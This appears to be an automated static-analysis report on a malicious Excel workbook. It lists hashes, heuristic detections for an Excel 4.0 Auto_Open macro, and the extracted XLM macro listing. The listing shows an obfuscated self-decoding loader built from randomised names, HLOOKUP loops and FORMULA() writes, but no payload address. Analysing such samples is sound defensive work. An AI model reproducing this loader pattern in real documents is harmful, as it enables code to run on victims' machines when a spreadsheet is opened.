Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ea1d6e6d96d690b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c39e72c17a5f1fb9152ecca98e974403 SHA-1: 349b9dd9edf2202f316761ede51005399eeadb0c SHA-256: 3ea1d6e6d96d690bd033c95d7ff16b478d445368486a2cb5e4759aa8efaffa20
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6405 bytes
SHA-256: e864419f017e2e8fd840210b18d0ec8dd1a225ae53c3e50c3bfc5bab946ac2f0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XeAL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F151 
' 0018     21 LABEL : Cell Value, String Constant - AwYTrd len=0 
' 0018     21 LABEL : Cell Value, String Constant - bnwRhA len=0 
' 0018     27 LABEL : Cell Value, String Constant - caZoICxWjkhj len=0 
' 0018     25 LABEL : Cell Value, String Constant - CyCkCrzbJv len=0 
' 0018     27 LABEL : Cell Value, String Constant - diHEDjYMzkHC len=0 
' 0018     20 LABEL : Cell Value, String Constant - eTlOr len=0 
' 0018     25 LABEL : Cell Value, String Constant - GpUrotinOS len=0 
' 0018     26 LABEL : Cell Value, String Constant - iAPMIRnvvnQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - IBbDPpMYDBw len=0 
' 0018     21 LABEL : Cell Value, String Constant - itOxQn len=0 
' 0018     24 LABEL : Cell Value, String Constant - KdnDMwHvX len=0 
' 0018     21 LABEL : Cell Value, String Constant - mwerMt len=0 
' 0018     22 LABEL : Cell Value, String Constant - nvyJLde len=0 
' 0018     27 LABEL : Cell Value, String Constant - qEUdETCUxtDV len=0 
' 0018     20 LABEL : Cell Value, String Constant - QuISn len=0 
' 0018     21 LABEL : Cell Value, String Constant - qZPZet len=0 
' 0018     27 LABEL : Cell Value, String Constant - RZwWzFuaJbzk len=0 
' 0018     26 LABEL : Cell Value, String Constant - wEOUHLSRZOF len=0 
' 0018     22 LABEL : Cell Value, String Constant - WHMtprs len=0 
' 0018     22 LABEL : Cell Value, String Constant - XjsbnMb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XeAL,F58,"SET.NAME("bnwRhA",VALUE("0"))",""
'  XeAL,F60,"SET.NAME("CyCkCrzbJv",bnwRhA)",""
'  XeAL,F62,"SET.NAME("IBbDPpMYDBw",bnwRhA)",""
'  XeAL,F65,"SET.NAME("mwerMt",COUNTA(itOxQn))",""
'  XeAL,F70,"SET.NAME("eTlOr",COUNTA(nvyJLde))",""
'  XeAL,F75,[],""
'  XeAL,F77,"SET.NAME("diHEDjYMzkHC","")",""
'  XeAL,F81,"CyCkCrzbJv",""
'  XeAL,F83,"SET.NAME("GpUrotinOS",HLOOKUP("*",itOxQn,CyCkCrzbJv,FALSE))",""
'  XeAL,F85,"wEOUHLSRZOF",""
'  XeAL,F88,"SET.NAME("AwYTrd",bnwRhA)",""
'  XeAL,F93,[],""
'  XeAL,F97,"AwYTrd",""
'  XeAL,F99,"caZoICxWjkhj",""
'  XeAL,F103,"WHMtprs",""
'  XeAL,F108,"iAPMIRnvvnQ",""
'  XeAL,F113,"SET.NAME("QuISn",VALUE(HLOOKUP("*",nvyJLde,iAPMIRnvvnQ,FALSE)))",""
'  XeAL,F116,"KdnDMwHvX",""
'  XeAL,F120,"diHEDjYMzkHC",""
'  XeAL,F125,"IBbDPpMYDBw",""
'  XeAL,F130,NEXT(),""
'  XeAL,F134,"RZwWzFuaJbzk",""
'  XeAL,F138,"SET.NAME("f",INT(T(FORMULA(T(diHEDjYMzkHC)&"",""&T(RZwWzFuaJbzk)))))",""
'  XeAL,F142,"qZPZet",""
'  XeAL,F145,NEXT(),""
'  XeAL,F147,RETURN(),""
'  XeAL,F173,"SET.NAME("qEUdETCUxtDV",F58)",""
'  XeAL,F178,"itOxQn",""
'  XeAL,F180,"SET.NAME("nvyJLde",R99C14)",""
'  XeAL,F182,"SET.NAME("qZPZet",193)",""
'  XeAL,F187,"SET.NAME("XjsbnMb",6)",""
'  XeAL,F192,qEUdETCUxtDV(),""
'  XeAL,F193,HALT(),""

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